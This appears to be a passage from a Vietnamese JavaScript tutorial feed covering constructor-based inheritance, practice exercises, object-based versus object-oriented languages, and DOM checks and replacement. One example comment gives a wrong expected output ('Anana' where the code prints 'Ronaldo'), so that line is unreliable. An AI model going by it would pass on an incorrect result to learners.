0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tính kế thừa (inheritance)</h3> <p>Tính kế thừa: đối tượng con sẽ kế thừa những thuộc tính của đối tượng cha mà không cần phải định nghĩa lại.</p> <p>Mặc dù JavaScript không hỗ trợ trực tiếp tính kế thừa. Tuy nhiên, bạn vẫn có thể tuỳ biến để áp dụng tính chất này trong JavaScript.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Person</span><span class="token punctuation">(</span><span class="token parameter">_name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> name <span class="token operator">=</span> _name<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">setName</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">_name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> name <span class="token operator">=</span> _name<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">getName</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">Student</span><span class="token punctuation">(</span><span class="token parameter">_name<span class="token punctuation">,</span> _school</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> school <span class="token operator">=</span> _school<span class="token punctuation">;</span> <span class="token function">Person</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">,</span> _name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">setSchool</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">_school</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> school <span class="token operator">=</span> _school<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">getSchool</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> school<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">const</span> student <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Student</span><span class="token punctuation">(</span><span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token string">"HUST"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>student<span class="token punctuation">.</span><span class="token function">getName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Alex</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>student<span class="token punctuation">.</span><span class="token function">getSchool</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// HUST</span> student<span class="token punctuation">.</span><span class="token function">setSchool</span><span class="token punctuation">(</span><span class="token string">"NEU"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> student<span class="token punctuation">.</span><span class="token function">setName</span><span class="token punctuation">(</span><span class="token string">"Ronaldo"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>student<span class="token punctuation">.</span><span class="token function">getName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Anana</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>student<span class="token punctuation">.</span><span class="token function">getSchool</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NEU</span></code></pre></div> <p>Ngoài ra, còn hai tính chất của lập trình hướng đối tượng là: tính <strong>đa hình</strong> và tính <strong>trừu tượng</strong>.</p> <p>Tuy nhiên, việc áp dụng hai tính chất này trong JavaScript là không rõ ràng. Do đó, mình sẽ không trình bày về chúng nữa.</p> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là những khía cạnh cơ bản của lập trình hướng đối tượng được áp dụng trong JavaScript. Mình có thể tóm tắt ngắn gọn lại như sau:</p> <ul> <li>Method: sử dụng để lấy giá trị và thay đổi giá trị thuộc tính trong object.</li> <li>Prototype: mọi object đều chứa thuộc tính prototype. Bạn có thể thay đổi, thêm thuộc tính của object dựa vào prototype.</li> <li>Constructor: có thể tạo mới một object từ hàm khởi tạo constructor sử dụng từ khoá <code>new</code>.</li> <li>Tính đóng gói: che giấu dữ liệu - không cho phép truy cập dữ liệu trực tiếp từ bên ngoài, mà phải thông qua các method được cung cấp.</li> <li>Tính kế thừa: đối tượng con kế thừa những thuộc tính của đối tượng cha mà không cần phải định nghĩa lại.</li> </ul> <p>Việc áp dụng lập trình hướng đối tượng vào JavaScript là tương đối khó. Tuy nhiên, nếu bạn nắm vững những kiến thức cơ bản thì chắc chắn bạn sẽ dễ dàng tìm hiểu thêm và áp dụng lập trình hướng đối tượng trong JavaScript.</p> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="vector" style="position:relative;"><a href="#vector" aria-label="vector permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Vector</h3> <p>Xây dựng constructor <code>Vector</code> biểu diễn một vector trong không gian hai chiều với hai tham số đầu vào là <code>x</code> và <code>y</code>.</p> <p>Xây dựng 2 methods cho Vector thông qua prototype là <code>plus</code> và <code>minus</code>, ví dụ như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Vector</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">plus</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Vector</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Vector{x: 3, y: 5}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Vector</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">minus</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Vector</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Vector{x: -1, y: -1}</span></code></pre></div> <p>Tham khảo tại <a href="https://github.com/completejavascript/practical-javascript/blob/master/OOP_javascript/vector_completejavascript.com.js">đây</a>.</p> <h3 id="interface" style="position:relative;"><a href="#interface" aria-label="interface permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Interface</h3> <p>Định nghĩa hàm <code>logFive</code> với đầu vào là một <strong>object</strong>. Thực hiện ghi ra log 5 phần tử đầu tiên hoặc ít hơn (nếu số phần tử thoả mãn ít hơn 5).</p> <p>Triển khai object kiểu <code>ArraySeg</code> với đầu vào là một mảng và một object khác kiểu <code>RangeSeq</code> với đầu vào là 2 số nguyên biểu diễn khoảng.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Triển khai code</span> <span class="token function">logFive</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">ArraySeq</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* * 1 * 2 */</span> <span class="token function">logFive</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">RangeSeq</span><span class="token punctuation">(</span><span class="token number">100</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* * 100 * 101 * 102 * 103 * 104 */</span></code></pre></div> <p>Tham khảo code tại <a href="https://github.com/completejavascript/practical-javascript/blob/master/OOP_javascript/interface_completejavascript.com.js">đây</a>.</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li><a href="http://eloquentjavascript.net/06_object.html">The Secret Life of Objects</a></li> <li><a href="https://en.wikipedia.org/wiki/Object-oriented_programming">Object-oriented programming</a></li> </ul>[email protected]<![CDATA[Lập trình hướng đối tượng với JavaScript?]]><![CDATA[Nếu nói là lập trình hướng đối tượng (object-oriented) với JavaScript thì không chính xác lắm. Thực chất, JavaScript là ngôn ngữ lập trình dựa trên đối tượng object-based. Nếu vậy…]]>https://completejavascript.com/lap-trinh-huong-doi-tuong-voi-javascript/https://completejavascript.com/lap-trinh-huong-doi-tuong-voi-javascript/<![CDATA[Câu hỏi JS OOP]]>Wed, 12 Jan 2022 08:00:00 GMT<p>Nếu nói là <strong>lập trình hướng đối tượng</strong> (object-oriented) với JavaScript thì không chính xác lắm. Thực chất, JavaScript là ngôn ngữ lập trình <strong>dựa trên đối tượng</strong> <a href="/javascript-la-gi/">object-based</a>.</p> <p>Nếu vậy thì ngôn ngữ lập trình dựa trên đối tượng với ngôn ngữ lập trình hướng đối tượng giống và khác nhau như thế nào?</p> <h2 id="ngôn-ngữ-lập-trình-hướng-đối-tượng" style="position:relative;"><a href="#ng%C3%B4n-ng%E1%BB%AF-l%E1%BA%ADp-tr%C3%ACnh-h%C6%B0%E1%BB%9Bng-%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng" aria-label="ngôn ngữ lập trình hướng đối tượng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ngôn ngữ lập trình hướng đối tượng</h2> <ul> <li>Hỗ trợ tất cả các đặc điểm của lập trình hướng đối tượng (OOP): <strong>tính đóng gói, trừu tượng, kế thừa, đa hình.</strong></li> <li>Không có sẵn kiểu dữ liệu đối tượng.</li> <li>Một số ngôn ngữ lập trình: C++, C#, Java,...</li> </ul> <h2 id="ngôn-ngữ-lập-trình-dựa-trên-đối-tượng" style="position:relative;"><a href="#ng%C3%B4n-ng%E1%BB%AF-l%E1%BA%ADp-tr%C3%ACnh-d%E1%BB%B1a-tr%C3%AAn-%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng" aria-label="ngôn ngữ lập trình dựa trên đối tượng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ngôn ngữ lập trình dựa trên đối tượng</h2> <ul> <li>Không hỗ trợ đầy đủ các đặc điểm của OOP như đa hình và kế thừa.</li> <li>Có sẵn kiểu dữ liệu <a href="/object-la-gi-object-trong-javascript/">đối tượng</a>, ví dụ: JavaScript có sẵn đối tượng <code>window</code>.</li> <li>Một số ngôn ngữ lập trình: JavaScript, VB,...</li> </ul> <p>Trên đây là một số điểm khác nhau giữa ngôn ngữ lập trình hướng đối tượng và ngôn ngữ lập trình dựa trên đối tượng. Hy vọng bạn có thể phân biệt được hai loại ngôn ngữ lập trình này.</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li><a href="https://www.dotnettricks.com/learn/oops/difference-between-object-oriented-and-object-based-languages">Difference between object oriented and object based languages</a></li> <li><a href="https://freefeast.info/difference-between/difference-between-object-based-languages-and-object-oriented-language-object-based-vs-object-oriented">Difference Between Object Based Languages and Object Oriented Language | Object Based vs. Object Oriented</a></li> <li><a href="https://en.wikipedia.org/wiki/Object-based_language">Object-based language</a></li> </ul>[email protected]<![CDATA[Cách kiểm tra JavaScript Object là DOM object?]]><![CDATA[DOM (Document Object Model): là thành phần biểu diễn cấu trúc dữ liệu của một trang web, bao gồm các tag, phần tử, thuộc tính, class,... Trong HTML DOM, Element là một đối tượng…]]>https://completejavascript.com/kiem-tra-javascript-object-la-dom-object/https://completejavascript.com/kiem-tra-javascript-object-la-dom-object/<![CDATA[Câu hỏi JS DOM]]>Thu, 30 Dec 2021 21:00:00 GMT<p>DOM (Document Object Model): là thành phần biểu diễn cấu trúc dữ liệu của một trang web, bao gồm các tag, phần tử, thuộc tính, class,...</p> <p>Trong HTML DOM, <strong>Element</strong> là một đối tượng tổng quát để biểu diễn một phần tử DOM bất kỳ.</p> <p>Để <strong>kiểm tra một JavaScript object là DOM object</strong>, bạn có thể sử dụng toán tử <code>instanceof</code> với cú pháp:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">obj <span class="token keyword">instanceof</span> <span class="token class-name">Element</span><span class="token punctuation">;</span></code></pre></div> <p>Nếu kết quả trả về là <code>true</code> thì nghĩa là đối tượng <code>obj</code> có kiểu <code>Element</code>. Nói cách khác, đối tượng <code>obj</code> chính là một DOM object.</p> <p>Ví dụ cấu trúc DOM:</p> <div class="gatsby-code-title gatsby-remark-code-title">index.html</div> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>div1<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span></code></pre></div> <p>Code kiểm tra:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// hàm kiểm tra một object là DOM object</span> <span class="token keyword">function</span> <span class="token function">isDOM</span><span class="token punctuation">(</span><span class="token parameter">Obj</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> Obj <span class="token keyword">instanceof</span> <span class="token class-name">Element</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// DOM object</span> <span class="token keyword">let</span> div <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">"div1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// object bình thường</span> <span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isDOM</span><span class="token punctuation">(</span>div<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isDOM</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="/co-ban-ve-dom-javascript/">DOM là gì?</a></li> <li><a href="/object-la-gi-object-trong-javascript/">Object là gì? Object trong JavaScript</a></li> <li><a href="https://www.geeksforgeeks.org/how-to-check-a-javascript-object-is-a-dom-object/">How to check a JavaScript Object is a DOM Object?</a></li> </ul>[email protected]<![CDATA[Cách thay thế phần tử DOM trong JavaScript?]]><![CDATA[Làm sao để thay thế phần tử DOM trong JavaScript bằng một phần tử khác? Sau đây là thuộc tính và phương thức cần thiết: Thuộc tính parentNode: trả về phần tử cha của một phần tử…]]>https://completejavascript.com/thay-the-phan-tu-dom-trong-javascript/https://completejavascript.com/thay-the-phan-tu-dom-trong-javascript/<![CDATA[Câu hỏi JS DOM]]>Thu, 23 Dec 2021 21:30:00 GMT<p>Làm sao để thay thế phần tử DOM trong JavaScript bằng một phần tử khác?</p> <p>Sau đây là thuộc tính và phương thức cần thiết:</p> <ul> <li>Thuộc tính <code>parentNode</code>: trả về phần tử cha của một phần tử DOM <code>node.parentNode</code>.</li> <li>Phương thức <code>replaceChild(newNode, oldNode)</code>: thay thế phần tử DOM cũ <code>oldNode</code> bằng phần tử DOM mới <code>newNode</code>. Trong đó, <code>newNode</code> có thể là phần tử DOM đang tồn tại trên <code>document</code> hoặc phần tử được tạo mới.</li> </ul> <h2 id="ví-dụ-1" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-1" aria-label="ví dụ 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ 1</h2> <p>Ví dụ sau thay thế phần tử DOM <code>&#x3C;a></code> bằng phần tử DOM mới <code>&#x3C;span></code> sử dụng thuộc tính <code>parentNode</code> và phương thức <code>replaceChild()</code>.</p> <p>Cấu trúc DOM:</p> <div class="gatsby-code-title gatsby-remark-code-title">index.html</div> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>ida<span class="token punctuation">"</span></span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>#<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>Complete JavaScript<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span></code></pre></div> <p>Code thay thế phần tử DOM:</p> <div class="gatsby-code-title gatsby-remark-code-title">main.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// query phần tử cần thay thế</span> <span class="token keyword">let</span> aElement <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"#ida"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// tạo phần tử mới để thay thế</span> <span class="token keyword">let</span> spanElement <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">"span"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// cập nhật nội dung cho phần tử mới</span> spanElement<span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> <span class="token string">"Replaced Text!"</span><span class="token punctuation">;</span> <span class="token comment">// thay thế phần tử DOM cũ bằng phần tử DOM mới</span> aElement<span class="token punctuation">.</span>parentNode<span class="token punctuation">.</span><span class="token function">replaceChild</span><span class="token punctuation">(</span>spanElement<span class="token punctuation">,</span> aElement<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="ví-dụ-2" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-2" aria-label="ví dụ 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ 2</h2> <p>Ví dụ này thay thế phần tử DOM <code>&#x3C;a></code> bằng phần tử DOM mới <code>&#x3C;a></code> và giữ nguyên giá trị của thuộc tính <code>href</code>.</p> <p>Cấu trúc DOM:</p> <div class="gatsby-code-title gatsby-remark-code-title">index.html</div> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>ida<span class="token punctuation">"</span></span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://completejavascript.com/<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>Complete JavaScript<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span></code></pre></div> <p>Code thay thế phần tử DOM:</p> <div class="gatsby-code-title gatsby-remark-code-title">main.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// query phần tử cần thay thế</span> <span class="token keyword">let</span> currentA <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"#ida"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// tạo phần tử mới để thay thế</span> <span class="token keyword">let</span> newA <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// cập nhật nội dung cho phần tử mới</span> newA<span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> <span class="token string">"Replaced Text!"</span><span class="token punctuation">;</span> newA<span class="token punctuation">.</span>href <span class="token operator">=</span> currentA<span class="token punctuation">.</span>href<span class="token punctuation">;</span> <span class="token comment">// thay thế phần tử DOM cũ bằng phần tử DOM mới</span> currentA<span class="token punctuation">.</span>parentNode<span class="token punctuation">.</span><span class="token function">replaceChild</span><span class="token punctuation">(</span>newA<span class="token punctuation">,</span> currentA<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="/co-ban-ve-dom-javascript/">DOM là gì?</a></li> <li><a 